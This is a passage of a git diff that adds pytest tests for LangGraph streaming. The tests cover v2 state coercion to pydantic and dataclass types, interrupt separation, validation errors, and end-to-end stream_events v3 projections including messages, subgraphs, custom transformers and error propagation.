node_a(state: PydanticState) -> dict[str, Any]: + return {"value": state.value + "_a", "items": ["a"]} + + builder: StateGraph = StateGraph(PydanticState) + builder.add_node("node_a", node_a) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", END) + graph = builder.compile() + + result = await graph.ainvoke({"value": "x", "items": []}, version="v2") + assert isinstance(result, GraphOutput) + assert isinstance(result.value, PydanticState) + assert result.value.value == "x_a" + assert result.value.items == ["a"] + assert result.interrupts == () + + @pytest.mark.anyio + async def test_ainvoke_v2_dataclass_state(self) -> None: + """ainvoke with v2 and dataclass state returns GraphOutput with dataclass value.""" + + def node_a(state: DataclassState) -> dict[str, Any]: + return {"value": state.value + "_a", "items": ["a"]} + + builder: StateGraph = StateGraph(DataclassState) + builder.add_node("node_a", node_a) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", END) + graph = builder.compile() + + result = await graph.ainvoke({"value": "x", "items": []}, version="v2") + assert isinstance(result, GraphOutput) + assert isinstance(result.value, DataclassState) + assert result.value.value == "x_a" + assert result.value.items == ["a"] + assert result.interrupts == () + + @pytest.mark.anyio + async def test_ainvoke_v2_graph_output_no_interrupts(self) -> None: + graph = _make_simple_graph().compile() + result = await graph.ainvoke(_SIMPLE_INPUT, version="v2") + assert isinstance(result, GraphOutput) + assert result.interrupts == () + assert INTERRUPT not in result + + @pytest.mark.anyio + async def test_updates_mode(self) -> None: + graph = _make_simple_graph().compile() + result = await graph.ainvoke(_SIMPLE_INPUT, stream_mode="updates", version="v2") + assert isinstance(result, list) and len(result) == 2 + for chunk in result: + _assert_stream_part_shape(chunk) + assert chunk["type"] == "updates" + assert chunk["ns"] == () + assert "node_a" in result[0]["data"] + assert "node_b" in result[1]["data"] + + @pytest.mark.anyio + async def test_multiple_modes(self) -> None: + graph = _make_simple_graph().compile() + modes: Any = ["values", "updates"] + result = await graph.ainvoke(_SIMPLE_INPUT, stream_mode=modes, version="v2") + assert isinstance(result, list) + types_seen = {c["type"] for c in result} + assert {"values", "updates"} <= types_seen + for c in result: + _assert_stream_part_shape(c) + + +# --- type-safe streaming: coercion + interrupt separation --- + + +class PydanticState(BaseModel): + value: str + items: Annotated[list[str], operator.add] + + +@dataclass +class DataclassState: + value: str + items: Annotated[list[str], operator.add] + + +class TestV2TypeSafeStreaming: + """Test that v2 streaming coerces values to pydantic/dataclass instances + and separates interrupts into a dedicated field.""" + + def test_values_pydantic_state(self) -> None: + """v2 values + pydantic state -> data is pydantic model instance.""" + + def node_a(state: PydanticState) -> dict[str, Any]: + return {"value": state.value + "_a", "items": ["a"]} + + builder: StateGraph = StateGraph(PydanticState) + builder.add_node("node_a", node_a) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", END) + graph = builder.compile() + + chunks = list( + graph.stream( + {"value": "x", "items": []}, + stream_mode="values", + version="v2", + ) + ) + assert len(chunks) >= 1 + for c in chunks: + _assert_stream_part_shape(c) + assert c["type"] == "values" + assert isinstance(c["data"], PydanticState), ( + f"Expected PydanticState, got {type(c['data'])}" + ) + assert c["interrupts"] == () + + def test_values_dataclass_state(self) -> None: + """v2 values + dataclass state -> data is dataclass instance.""" + + def node_a(state: DataclassState) -> dict[str, Any]: + return {"value": state.value + "_a", "items": ["a"]} + + builder: StateGraph = StateGraph(DataclassState) + builder.add_node("node_a", node_a) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", END) + graph = builder.compile() + + chunks = list( + graph.stream( + {"value": "x", "items": []}, + stream_mode="values", + version="v2", + ) + ) + assert len(chunks) >= 1 + for c in chunks: + _assert_stream_part_shape(c) + assert c["type"] == "values" + assert isinstance(c["data"], DataclassState), ( + f"Expected DataclassState, got {type(c['data'])}" + ) + + def test_values_typeddict_state(self) -> None: + """v2 values + TypedDict state -> data stays plain dict (no coercion).""" + graph = _make_simple_graph().compile() + chunks = list(graph.stream(_SIMPLE_INPUT, stream_mode="values", version="v2")) + assert len(chunks) >= 1 + for c in chunks: + _assert_stream_part_shape(c) + assert c["type"] == "values" + # TypedDict state should remain a plain dict + assert isinstance(c["data"], dict) + assert type(c["data"]) is dict + + def test_values_interrupt_v2(self) -> None: + """v2 values + interrupt -> interrupts in typed field, not in data.""" + + def my_node(state: SimpleState) -> dict[str, Any]: + answer = interrupt("what is your name?") + return {"value": answer, "items": ["done"]} + + builder: StateGraph = StateGraph(SimpleState) + builder.add_node("my_node", my_node) + builder.add_edge(START, "my_node") + builder.add_edge("my_node", END) + graph = builder.compile(checkpointer=InMemorySaver()) + + config: Any = {"configurable": {"thread_id": "test-v2-interrupt"}} + chunks = list( + graph.stream( + {"value": "x", "items": []}, + config, + stream_mode="values", + version="v2", + ) + ) + # should have at least one values chunk with interrupts + interrupt_chunks = [c for c in chunks if c.get("interrupts", ())] + assert len(interrupt_chunks) >= 1, f"Expected interrupt chunks, got {chunks}" + for c in interrupt_chunks: + assert c["type"] == "values" + assert isinstance(c["interrupts"], tuple) + assert len(c["interrupts"]) > 0 + for intr in c["interrupts"]: + assert isinstance(intr, Interrupt) + # __interrupt__ should NOT be in data + if isinstance(c["data"], dict): + assert INTERRUPT not in c["data"] + + def test_values_interrupt_v1_compat(self) -> None: + """v1 values + interrupt -> __interrupt__ still in dict (v1 compat).""" + + def my_node(state: SimpleState) -> dict[str, Any]: + answer = interrupt("what is your name?") + return {"value": answer, "items": ["done"]} + + builder: StateGraph = StateGraph(SimpleState) + builder.add_node("my_node", my_node) + builder.add_edge(START, "my_node") + builder.add_edge("my_node", END) + graph = builder.compile(checkpointer=InMemorySaver()) + + config: Any = {"configurable": {"thread_id": "test-v1-interrupt-compat"}} + chunks = list( + graph.stream( + {"value": "x", "items": []}, + config, + stream_mode="values", + ) + ) + # v1 format: should have __interrupt__ in dict + interrupt_chunks = [c for c in chunks if isinstance(c, dict) and INTERRUPT in c] + assert len(interrupt_chunks) >= 1, ( + f"Expected v1 interrupt chunks with {INTERRUPT}, got {chunks}" + ) + + def test_checkpoints_pydantic_state(self) -> None: + """v2 checkpoints + pydantic state -> values is pydantic model instance + (at least for checkpoints emitted after all channels are populated).""" + + def node_a(state: PydanticState) -> dict[str, Any]: + return {"value": state.value + "_a", "items": ["a"]} + + builder: StateGraph = StateGraph(PydanticState) + builder.add_node("node_a", node_a) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", END) + graph = builder.compile(checkpointer=InMemorySaver()) + + config: Any = {"configurable": {"thread_id": "test-v2-ckpt-pydantic"}} + chunks = list( + graph.stream( + {"value": "x", "items": []}, + config, + stream_mode="checkpoints", + version="v2", + ) + ) + ckpt_chunks = [c for c in chunks if c["type"] == "checkpoints"] + assert len(ckpt_chunks) >= 1 + # At least one checkpoint (after first node runs) should have coerced values + coerced_ckpts = [ + c for c in ckpt_chunks if isinstance(c["data"]["values"], PydanticState) + ] + assert len(coerced_ckpts) >= 1, ( + f"Expected at least one checkpoint with PydanticState values, got types: " + f"{[type(c['data']['values']) for c in ckpt_chunks]}" + ) + + def test_debug_pydantic_state(self) -> None: + """v2 debug + pydantic state -> inner checkpoint payload has coerced values + (at least for checkpoints emitted after all channels are populated).""" + + def node_a(state: PydanticState) -> dict[str, Any]: + return {"value": state.value + "_a", "items": ["a"]} + + builder: StateGraph = StateGraph(PydanticState) + builder.add_node("node_a", node_a) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", END) + graph = builder.compile(checkpointer=InMemorySaver()) + + config: Any = {"configurable": {"thread_id": "test-v2-debug-pydantic"}} + chunks = list( + graph.stream( + {"value": "x", "items": []}, + config, + stream_mode="debug", + version="v2", + ) + ) + debug_chunks = [c for c in chunks if c["type"] == "debug"] + checkpoint_debug = [ + c for c in debug_chunks if c["data"]["type"] == "checkpoint" + ] + assert len(checkpoint_debug) >= 1 + # At least one debug checkpoint should have coerced values + coerced_debug = [ + c + for c in checkpoint_debug + if isinstance(c["data"]["payload"]["values"], PydanticState) + ] + assert len(coerced_debug) >= 1, ( + f"Expected at least one debug checkpoint with PydanticState values, got types: " + f"{[type(c['data']['payload']['values']) for c in checkpoint_debug]}" + ) + + def test_values_pydantic_interrupt(self) -> None: + """v2 values + pydantic state + interrupt -> data is model, interrupts separated.""" + + def my_node(state: PydanticState) -> dict[str, Any]: + answer = interrupt("what is your name?") + return {"value": answer, "items": ["done"]} + + builder: StateGraph = StateGraph(PydanticState) + builder.add_node("my_node", my_node) + builder.add_edge(START, "my_node") + builder.add_edge("my_node", END) + graph = builder.compile(checkpointer=InMemorySaver()) + + config: Any = {"configurable": {"thread_id": "test-v2-pydantic-interrupt"}} + chunks = list( + graph.stream( + {"value": "x", "items": []}, + config, + stream_mode="values", + version="v2", + ) + ) + interrupt_chunks = [c for c in chunks if c.get("interrupts", ())] + assert len(interrupt_chunks) >= 1 + for c in interrupt_chunks: + assert isinstance(c["data"], PydanticState), ( + f"Expected PydanticState, got {type(c['data'])}" + ) + assert isinstance(c["interrupts"], tuple) + assert len(c["interrupts"]) > 0 + + def test_subgraph_different_pydantic_schema(self) -> None: + """Subgraph with different pydantic schema -> subgraph data coerced with subgraph's schema.""" + + class InnerState(BaseModel): + value: str + + class OuterState(BaseModel): + value: str + + def inner_node(state: InnerState) -> dict[str, Any]: + return {"value": state.value + "_inner"} + + def outer_node(state: OuterState) -> dict[str, Any]: + return {"value": state.value + "_outer"} + + inner_builder: StateGraph = StateGraph(InnerState) + inner_builder.add_node("inner_node", inner_node) + inner_builder.add_edge(START, "inner_node") + inner_builder.add_edge("inner_node", END) + inner_graph = inner_builder.compile() + + outer_builder: StateGraph = StateGraph(OuterState) + outer_builder.add_node("outer_node", outer_node) + outer_builder.add_node("inner", inner_graph) + outer_builder.add_edge(START, "outer_node") + outer_builder.add_edge("outer_node", "inner") + outer_builder.add_edge("inner", END) + outer = outer_builder.compile() + + chunks = list( + outer.stream( + {"value": "x"}, + stream_mode="values", + subgraphs=True, + version="v2", + ) + ) + # Root-level values should be OuterState instances + root_values = [c for c in chunks if c["type"] == "values" and c["ns"] == ()] + assert len(root_values) >= 1 + for c in root_values: + assert isinstance(c["data"], OuterState), ( + f"Expected OuterState, got {type(c['data'])}" + ) + # Subgraph values are streamed from the subgraph's own stream() + # which runs with default version="v1", so no coercion + sub_values = [c for c in chunks if c["type"] == "values" and c["ns"] != ()] + assert len(sub_values) >= 1 + + +# --- v2 validation errors --- + + +def _make_pydantic_graph() -> Any: + """Build a simple graph with PydanticState for validation error tests.""" + + def node_a(state: PydanticState) -> dict[str, Any]: + return {"value": state.value + "_a", "items": ["a"]} + + builder: StateGraph = StateGraph(PydanticState) + builder.add_node("node_a", node_a) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", END) + return builder.compile() + + +class TestV2ValidationErrors: + """Validation errors propagate for pydantic state in both v1 and v2. + + Uses `value=[1, 2, 3]` which channels accept (LastValue stores anything) + but pydantic rejects (list is not coercible to str even in lax mode). + """ + + _INVALID_INPUT: dict[str, Any] = {"value": [1, 2, 3], "items": []} + + def test_stream_events_v3_pydantic_validation_error(self) -> None: + """Invalid input to stream with v2 + pydantic state raises ValidationError.""" + graph = _make_pydantic_graph() + with pytest.raises(ValidationError): + list( + graph.stream( + self._INVALID_INPUT, + stream_mode="values", + version="v2", + ) + ) + + def test_invoke_v2_pydantic_validation_error(self) -> None: + """Invalid input to invoke with v2 + pydantic state raises ValidationError.""" + graph = _make_pydantic_graph() + with pytest.raises(ValidationError): + graph.invoke(self._INVALID_INPUT, version="v2") + + def test_invoke_v1_pydantic_validation_error(self) -> None: + """Regression: invalid input to invoke without version raises ValidationError.""" + graph = _make_pydantic_graph() + with pytest.raises(ValidationError): + graph.invoke(self._INVALID_INPUT) + + +# --- type narrowing compile-time checks --- +# These assert_type calls verify that mypy narrows the union correctly. + + +_OutputT = TypeVar("_OutputT") +_StateT = TypeVar("_StateT") + + +def _check_type_narrowing(part: StreamPart[_StateT, _OutputT]) -> None: + """Compile-time type narrowing checks — never called at runtime.""" + if part["type"] == "values": + assert_type(part, ValuesStreamPart[_OutputT]) + elif part["type"] == "updates": + assert_type(part, UpdatesStreamPart) + assert_type(part["data"], dict[str, Any]) + elif part["type"] == "messages": + assert_type(part, MessagesStreamPart) + elif part["type"] == "custom": + assert_type(part, CustomStreamPart) + elif part["type"] == "checkpoints": + assert_type(part, CheckpointStreamPart[_StateT]) + assert_type(part["data"], CheckpointPayload[_StateT]) + elif part["type"] == "tasks": + assert_type(part, TasksStreamPart) + assert_type(part["data"], TaskPayload | TaskResultPayload) + elif part["type"] == "debug": + assert_type(part, DebugStreamPart[_StateT]) + assert_type(part["data"], DebugPayload[_StateT]) + assert_type(part["ns"], tuple[str, ...]) diff --git a/libs/langgraph/tests/test_stream_events_v3_e2e.py b/libs/langgraph/tests/test_stream_events_v3_e2e.py new file mode 100644 index 0000000..e8ea87d --- /dev/null +++ b/libs/langgraph/tests/test_stream_events_v3_e2e.py @@ -0,0 +1,808 @@ +"""End-to-end tests exercising all stream_events(version="v3") projections together. + +Each test builds a realistic graph (subgraphs, LLM calls, custom writers, +interrupts) and verifies that every projection — values, messages, lifecycle, +subgraphs, raw events, output, interleave — produces correct, consistent +results through a single stream_events(version="v3") / astream_events(version="v3") run. +""" + +from __future__ import annotations + +import operator +import sys +from typing import Annotated, Any + +import pytest +from langchain_core.language_models import GenericFakeChatModel +from langchain_core.language_models.chat_model_stream import ( + AsyncChatModelStream, + ChatModelStream, +) +from langchain_core.messages import AIMessage +from langgraph.checkpoint.memory import InMemorySaver +from typing_extensions import TypedDict + +from langgraph.constants import END, START +from langgraph.graph import MessagesState, StateGraph +from langgraph.stream import StreamChannel, StreamTransformer +from langgraph.stream._types import ProtocolEvent +from langgraph.types import StreamWriter, interrupt + +NEEDS_CONTEXTVARS = pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ is required for async contextvars support", +) + + +# --------------------------------------------------------------------------- +# State and graph builders +# --------------------------------------------------------------------------- + + +class AgentState(TypedDict): + value: str + items: Annotated[list[str], operator.add] + + +def _make_nested_graph(): + """Build a two-level graph with pure state transforms. + + Structure: + outer: + router_node (state transform) + inner_graph (compiled subgraph) + + inner_graph: + process_node (state transform) + """ + + def process_node(state: AgentState) -> dict[str, Any]: + return {"value": state["value"] + "_processed", "items": ["processed"]} + + inner_builder: StateGraph = StateGraph(AgentState, input_schema=AgentState) + inner_builder.add_node("process_node", process_node) + inner_builder.add_edge(START, "process_node") + inner_builder.add_edge("process_node", END) + inner_graph = inner_builder.compile() + + def router_node(state: AgentState) -> dict[str, Any]: + return {"value": state["value"] + "_routed", "items": ["routed"]} + + outer_builder: StateGraph = StateGraph(AgentState, input_schema=AgentState) + outer_builder.add_node("router", router_node) + outer_builder.add_node("inner", inner_graph) + outer_builder.add_edge(START, "router") + outer_builder.add_edge("router", "inner") + outer_builder.add_edge("inner", END) + return outer_builder.compile() + + +def _make_messages_graph(): + """Flat graph with an LLM call for messages projection testing.""" + model = GenericFakeChatModel(messages=iter(["hello world"])) + + def call_model(state: MessagesState) -> dict[str, Any]: + return {"messages": model.invoke(state["messages"])} + + return ( + StateGraph(MessagesState) + .add_node("call_model", call_model) + .add_edge(START, "call_model") + .add_edge("call_model", END) + .compile() + ) + + +def _make_messages_subgraph(): + """Outer graph with a MessagesState subgraph that returns an AIMessage. + + Uses the whole-message fallback path (node returns AIMessage directly) + to exercise messages through a subgraph boundary. + """ + + def return_message(state: MessagesState) -> dict[str, Any]: + return {"messages": AIMessage(content="from subgraph", id="sub-msg-1")} + + inner = ( + StateGraph(MessagesState) + .add_node("return_message", return_message) + .add_edge(START, "return_message") + .add_edge("return_message", END) + .compile() + ) + + class OuterState(TypedDict): + messages: Annotated[list[Any], operator.add] + done: bool + + def pre_node(state: OuterState) -> dict[str, Any]: + return {"done": False} + + return ( + StateGraph(OuterState) + .add_node("pre", pre_node) + .add_node("inner", inner) + .add_edge(START, "pre") + .add_edge("pre", "inner") + .add_edge("inner", END) + .compile() + ) + + +def _make_custom_writer_graph(): + """Graph where a node emits custom stream events via StreamWriter.""" + + def writer_node(state: AgentState, *, writer: StreamWriter) -> dict[str, Any]: + writer({"step": "start", "detail": "beginning work"}) + writer({"step": "middle", "detail": "processing"}) + writer({"step": "end", "detail": "done"}) + return {"value": state["value"] + "_custom", "items": ["custom"]} + + builder = StateGraph(AgentState) + builder.add_node("writer_node", writer_node) + builder.add_edge(START, "writer_node") + builder.add_edge("writer_node", END) + return builder.compile() + + +def _make_interrupt_graph(): + """Graph that interrupts after the first node.""" + + def step_one(state: AgentState) -> dict[str, Any]: + return {"value": state["value"] + "_step1", "items": ["step1"]} + + def step_two(state: AgentState) -> dict[str, Any]: + answer = interrupt("need approval") + return {"value": state["value"] + f"_{answer}", "items": ["step2"]} + + builder = StateGraph(AgentState) + builder.add_node("step_one", step_one) + builder.add_node("step_two", step_two) + builder.add_edge(START, "step_one") + builder.add_edge("step_one", "step_two") + builder.add_edge("step_two", END) + return builder.compile(checkpointer=InMemorySaver()) + + +def _make_error_subgraph(): + """Graph with a subgraph that raises.""" + + def failing_node(state: AgentState) -> dict[str, Any]: + raise ValueError("subgraph explosion") + + inner_builder = StateGraph(AgentState) + inner_builder.add_node("fail", failing_node) + inner_builder.add_edge(START, "fail") + inner_builder.add_edge("fail", END) + inner = inner_builder.compile() + + outer_builder = StateGraph(AgentState) + outer_builder.add_node("inner", inner) + outer_builder.add_edge(START, "inner") + outer_builder.add_edge("inner", END) + return outer_builder.compile() + + +class _CustomPassthroughTransformer(StreamTransformer): + required_stream_modes = ("custom",) + + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + return True + + +class _CounterTransformer(StreamTransformer): + """Custom transformer that counts values events via a StreamChannel.""" + + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope) + self._channel: StreamChannel[int] = StreamChannel("counter") + self._count = 0 + + def init(self) -> dict[str, Any]: + return {"counter": self._channel} + + def process(self, event: ProtocolEvent) -> bool: + if event["method"] == "values": + self._count += 1 + self._channel.push(self._count) + return True + + +# --------------------------------------------------------------------------- +# Sync end-to-end: all projections on nested graph +# --------------------------------------------------------------------------- + + +class TestStreamV2E2ESync: + def test_all_projections_nested_graph(self) -> None: + """Run a nested graph through stream_events(version="v3") and verify values + lifecycle.""" + graph = _make_nested_graph() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + + values_snapshots: list[dict[str, Any]] = [] + lifecycle_events: list[dict[str, Any]] = [] + for name, item in run.interleave("values", "lifecycle"): + if name == "values": + values_snapshots.append(item) + elif name == "lifecycle": + lifecycle_events.append(item) + + assert len(values_snapshots) >= 1 + final = values_snapshots[-1] + assert "routed" in final["items"] + assert "processed" in final["items"] + assert "_routed" in final["value"] + assert "_processed" in final["value"] + + assert len(lifecycle_events) >= 2 + started = [e for e in lifecycle_events if e["event"] == "started"] + completed = [e for e in lifecycle_events if e["event"] == "completed"] + assert len(started) >= 1 + assert len(completed) >= 1 + + def test_subgraph_handles_with_drill_down(self) -> None: + """Subgraph handles yield and support values drill-down.""" + graph = _make_nested_graph() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + + handles = [] + for handle in run.subgraphs: + child_values = list(handle.values) + handles.append( + { + "path": handle.path, + "graph_name": handle.graph_name, + "values_count": len(child_values), + } + ) + + assert len(handles) >= 1 + assert handles[0]["values_count"] >= 1 + + output = run.output + assert output is not None + assert "_routed" in output["value"] + assert "_processed" in output["value"] + + def test_raw_events_have_monotonic_seq(self) -> None: + """Raw protocol events have monotonically increasing seq numbers.""" + graph = _make_nested_graph() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + events = list(run) + assert len(events) > 0 + + seqs = [e["seq"] for e in events] + for i in range(1, len(seqs)): + assert seqs[i] > seqs[i - 1], f"seq not monotonic at {i}: {seqs}" + + for event in events: + assert event["type"] == "event" + assert "method" in event + assert isinstance(event["params"]["timestamp"], int) + + def test_output_matches_final_values_snapshot(self) -> None: + """output property returns the same state as the last values snapshot.""" + run1 = _make_nested_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + snapshots = list(run1.values) + final_via_values = snapshots[-1] + + run2 = _make_nested_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + final_via_output = run2.output + + assert final_via_values == final_via_output + + def test_context_manager_and_abort(self) -> None: + """Context manager calls abort, marking the stream exhausted.""" + graph = _make_nested_graph() + with graph.stream_events({"value": "x", "items": []}, version="v3") as run: + first_val = next(iter(run.values)) + assert isinstance(first_val, dict) + assert run._exhausted is True + + def test_extensions_has_all_native_keys(self) -> None: + """Extensions dict exposes all native projection keys.""" + graph = _make_nested_graph() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + _ = run.output + + assert "values" in run.extensions + assert "messages" in run.extensions + assert "lifecycle" in run.extensions + assert "subgraphs" in run.extensions + assert run.values is run.extensions["values"] + assert run.messages is run.extensions["messages"] + assert run.lifecycle is run.extensions["lifecycle"] + assert run.subgraphs is run.extensions["subgraphs"] + + +# --------------------------------------------------------------------------- +# Sync: messages projection +# --------------------------------------------------------------------------- + + +class TestStreamV2E2EMessages: + def test_messages_projection_from_invoke(self) -> None: + """Messages projection captures LLM calls via model.invoke() auto-routing.""" + graph = _make_messages_graph() + run = graph.stream_events({"messages": "hi"}, version="v3") + streams = list(run.messages) + + assert len(streams) >= 1 + for stream in streams: + assert isinstance(stream, ChatModelStream) + assert streams[0].output.text == "hello world" + + def test_messages_text_deltas(self) -> None: + """Text deltas from the messages projection concatenate correctly.""" + model = GenericFakeChatModel(messages=iter(["streamed answer"])) + + def call_model(state: MessagesState) -> dict[str, Any]: + return {"messages": model.invoke(state["messages"])} + + graph = ( + StateGraph(MessagesState) + .add_node("call_model", call_model) + .add_edge(START, "call_model") + .add_edge("call_model", END) + .compile() + ) + + run = graph.stream_events({"messages": "go"}, version="v3") + (stream,) = list(run.messages) + assert "".join(stream.text) == "streamed answer" + + def test_messages_from_whole_ai_message(self) -> None: + """Node returning AIMessage directly produces a complete stream.""" + + def return_msg(state: MessagesState) -> dict[str, Any]: + return {"messages": AIMessage(content="hardcoded", id="msg-1")} + + graph = ( + StateGraph(MessagesState) + .add_node("return_msg", return_msg) + .add_edge(START, "return_msg") + .add_edge("return_msg", END) + .compile() + ) + + run = graph.stream_events({"messages": "hi"}, version="v3") + (stream,) = list(run.messages) + assert stream.output.text == "hardcoded" + assert stream.message_id == "msg-1" + + def test_root_messages_only_shows_root_scope(self) -> None: + """Root messages projection doesn't surface subgraph-scoped messages.""" + graph = _make_messages_subgraph() + run = graph.stream_events({"messages": ["hi"], "done": False}, version="v3") + root_streams = list(run.messages) + # The message is emitted inside the subgraph, so the root + # messages projection (scoped to root namespace) doesn't see it. + assert root_streams == [] + + def test_subgraph_handle_messages_drill_down(self) -> None: + """Drilling into subgraph handle's messages surfaces subgraph messages.""" + graph = _make_messages_subgraph() + run = graph.stream_events({"messages": ["hi"], "done": False}, version="v3") + + found_messages = False + for handle in run.subgraphs: + child_messages = list(handle.messages) + if child_messages: + found_messages = True + assert isinstance(child_messages[0], ChatModelStream) + assert child_messages[0].output.text == "from subgraph" + assert found_messages + + +# --------------------------------------------------------------------------- +# Sync: custom stream writer + custom transformer +# --------------------------------------------------------------------------- + + +class TestStreamV2E2ECustom: + def test_custom_events_with_passthrough_transformer(self) -> None: + """Custom StreamWriter events appear on the main log when a + transformer declares the custom mode.""" + graph = _make_custom_writer_graph() + run = graph.stream_events( + {"value": "x", "items": []}, + version="v3", + transformers=[_CustomPassthroughTransformer], + ) + events = list(run) + custom = [e for e in events if e["method"] == "custom"] + assert len(custom) == 3 + steps = [e["params"]["data"]["step"] for e in custom] + assert steps == ["start", "middle", "end"] + + def test_custom_events_suppressed_without_transformer(self) -> None: + """Without a custom-mode transformer, custom events don't flow.""" + graph = _make_custom_writer_graph() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + events = list(run) + custom = [e for e in events if e["method"] == "custom"] + assert custom == [] + + def test_custom_transformer_with_stream_channel(self) -> None: + """A custom transformer with a StreamChannel produces extension data.""" + graph = _make_nested_graph() + run = graph.stream_events( + {"value": "x", "items": []}, + version="v3", + transformers=[_CounterTransformer], + ) + + assert "counter" in run.extensions + counter_iter = iter(run.extensions["counter"]) + _ = run.output + counts = list(counter_iter) + assert len(counts) >= 1 + assert all(isinstance(c, int) for c in counts) + assert counts == sorted(counts) + + def test_custom_channel_events_on_main_log(self) -> None: + """StreamChannel auto-forward injects custom: events into the main log.""" + graph = _make_nested_graph() + run = graph.stream_events( + {"value": "x", "items": []}, + version="v3", + transformers=[_CounterTransformer], + ) + events = list(run) + counter_events = [e for e in events if e["method"] == "custom:counter"] + assert len(counter_events) >= 1 + assert all(isinstance(e["params"]["data"], int) for e in counter_events) + + +# --------------------------------------------------------------------------- +# Sync: interrupt handling +# --------------------------------------------------------------------------- + + +class TestStreamV2E2EInterrupt: + def test_interrupt_sets_flags_and_surfaces_interrupts(self) -> None: + """Interrupted run has correct flags and interrupt payloads.""" + graph = _make_interrupt_graph() + config: dict[str, Any] = {"configurable": {"thread_id": "int-1"}} + run = graph.stream_events({"value": "x", "items": []}, config, version="v3") + + output = run.output + assert output is not None + assert run.interrupted is True + assert len(run.interrupts) > 0 + assert output["items"] == ["step1"] + assert "_step1" in output["value"] + + def test_interrupt_values_snapshot_has_partial_state(self) -> None: + """Values snapshots captured before the interrupt reflect partial state.""" + graph = _make_interrupt_graph() + config: dict[str, Any] = {"configurable": {"thread_id": "int-2"}} + run = graph.stream_events({"value": "x", "items": []}, config, version="v3") + + snapshots = list(run.values) + assert len(snapshots) >= 1 + last = snapshots[-1] + assert "step1" in last["items"] + + +# --------------------------------------------------------------------------- +# Sync: error propagation +# --------------------------------------------------------------------------- + + +class TestStreamV2E2EErrors: + def test_subgraph_error_propagates_through_output(self) -> None: + """Error in a subgraph propagates through output.""" + graph = _make_error_subgraph() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + + with pytest.raises(ValueError, match="subgraph explosion"): + _ = run.output + + def test_subgraph_error_propagates_through_raw_events(self) -> None: + graph = _make_error_subgraph() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + + with pytest.raises(ValueError, match="subgraph explosion"): + list(run) + + def test_error_subgraph_handle_status(self) -> None: + """Subgraph handle surfaces the error status.""" + graph = _make_error_subgraph() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + + handle = next(iter(run.subgraphs)) + with pytest.raises(RuntimeError, match="subgraph explosion"): + _ = handle.output + assert handle.status == "failed" + assert handle.error == "subgraph explosion" + + +# --------------------------------------------------------------------------- +# Async end-to-end +# --------------------------------------------------------------------------- + + +@pytest.mark.anyio +@NEEDS_CONTEXTVARS +class TestStreamV2E2EAsync: + async def test_all_projections_async(self) -> None: + """Async run exercises values projection.""" + graph = _make_nested_graph() + run = await graph.astream_events({"value": "x", "items": []}, version="v3") + + values_snapshots = [s async for s in run.values] + assert len(values_snapshots) >= 1 + final = values_snapshots[-1] + assert "_routed" in final["value"] + assert "_processed" in final["value"] + + async def test_async_output(self) -> None: + """Async output returns the final state.""" + graph = _make_nested_graph() + run = await graph.astream_events({"value": "x", "items": []}, version="v3") + output = await run.output() + assert output is not None + assert output["value"] == "x_routed_processed" + assert "routed" in output["items"] + assert "processed" in output["items"] + + async def test_async_raw_events(self) -> None: + """Async raw event iteration yields well-formed ProtocolEvents.""" + graph = _make_nested_graph() + run = await graph.astream_events({"value": "x", "items": []}, version="v3") + events = [e async for e in run] + assert len(events) > 0 + seqs = [e["seq"] for e in events] + for i in range(1, len(seqs)): + assert seqs[i] > seqs[i - 1] + + async def test_async_messages_projection(self) -> None: + """Async messages projection captures LLM streams.""" + model = GenericFakeChatModel(messages=iter(["async answer"])) + + async def call_model(state: MessagesState) -> dict[str, Any]: + return {"messages": await model.ainvoke(state["messages"])} + + graph = ( + StateGraph(MessagesState) + .add_node("call_model", call_model) + .add_edge(START, "call_model") + .add_edge("call_model", END) + .compile() + ) + + run = await graph.astream_events({"messages": "hi"}, version="v3") + streams = [s async for s in run.messages] + assert len(streams) >= 1 + for s in streams: + assert isinstance(s, AsyncChatModelStream) + assert (await streams[0].output).text == "async answer" + + async def test_async_interrupt(self) -> None: + """Async interrupted run has correct flags.""" + graph = _make_interrupt_graph() + config: dict[str, Any] = {"configurable": {"thread_id": "async-int-1"}} + run = await graph.astream_events( + {"value": "x", "items": []}, config, version="v3" + ) + + output = await run.output() + assert output is not None + assert await run.interrupted() is True + assert len(await run.interrupts()) > 0 + + async def test_async_error_propagation(self) -> None: + """Async error from subgraph propagates through output.""" + graph = _make_error_subgraph() + run = await graph.astream_events({"value": "x", "items": []}, version="v3") + with pytest.raises(ValueError, match="subgraph explosion"): + await run.output() + + async def test_async_context_manager(self) -> None: + """Async context manager calls abort on exit.""" + graph = _make_nested_graph() + run = await graph.astream_events({"value": "x", "items": []}, version="v3") + async with run: + _ = await anext(aiter(run.values)) + assert run._exhausted is True + + async def test_async_extensions_present(self) -> None: + """Async run has all native extensions.""" + graph = _make_nested_graph() + run = await graph.astream_events({"value": "x", "items": []}, version="v3") + _ = await run.output() + assert "values" in run.extensions + assert "messages" in run.extensions + assert "lifecycle" in run.extensions + assert "subgraphs" in run.extensions + + async def test_async_custom_transformer(self) -> None: + """Async custom transformer with StreamChannel works.""" + graph = _make_nested_graph() + run = await graph.astream_events( + {"value": "x", "items": []}, + version="v3", + transformers=[_CounterTransformer], + ) + assert "counter" in run.extensions + counter_cursor = aiter(run.extensions["counter"]) + _ = await run.output() + counts = [c async for c in counter_cursor] + assert len(counts) >= 1 + assert counts == sorted(counts) + + +# --------------------------------------------------------------------------- +# Sync: combined projections stress test +# --------------------------------------------------------------------------- + + +class TestStreamV2E2ECombined: + def test_interleave_all_native_projections(self) -> None: + """Interleave values + messages + 